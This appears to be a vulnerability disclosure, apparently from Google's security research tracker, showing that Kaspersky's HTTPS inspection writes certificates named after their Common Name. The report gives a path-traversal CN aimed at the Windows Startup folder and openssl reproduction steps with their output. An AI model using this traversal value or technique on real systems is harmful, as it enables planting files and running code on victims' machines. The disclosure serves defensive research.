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37 lines
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2 KiB
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Source: https://code.google.com/p/google-security-research/issues/detail?id=539
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When Kaspersky https inspection is enabled, temporary certificates are created in %PROGRAMDATA% for validation. I observed that the naming pattern is {CN}.cer.
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I created a certificate with CN="../../../../Users/All Users/Start Menu/Startup/foo.bat\x00", browsed to an SSL server presenting that certificate and Kaspersky created that certificate name. Jumping from this to code execution seems quite straightforward. I didn't try it, but it seems quite easy to make some ASN.1/X.509 that is also a valid batch file or some other relaxed-parsing format.
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Here is how to generate a certificate to reproduce:
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$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 360
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Generating a 2048 bit RSA private key
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......................................................................+++
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...............+++
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writing new private key to 'key.pem'
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Enter PEM pass phrase:
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Verifying - Enter PEM pass phrase:
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-----
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You are about to be asked to enter information that will be incorporated
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into your certificate request.
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What you are about to enter is what is called a Distinguished Name or a DN.
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There are quite a few fields but you can leave some blank
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For some fields there will be a default value,
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If you enter '.', the field will be left blank.
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-----
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Country Name (2 letter code) [AU]:
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State or Province Name (full name) [Some-State]:
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Locality Name (eg, city) []:
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Organization Name (eg, company) [Internet Widgits Pty Ltd]:
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Organizational Unit Name (eg, section) []:
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Common Name (e.g. server FQDN or YOUR name) []:../../../../../Users/All Users/Desktop/hello
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Email Address []:
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Then test start a server like this:
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$ openssl s_server -key key.pem -cert cert.pem -accept 8080
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And then navigate to https://host:8080 from the Windows host, and observe a certificate called hello.cer on the desktop. I attached a screenshot to demonstrate. I can't believe this actually worked, note that it's not necessary to click or interact with anything to produce the file. |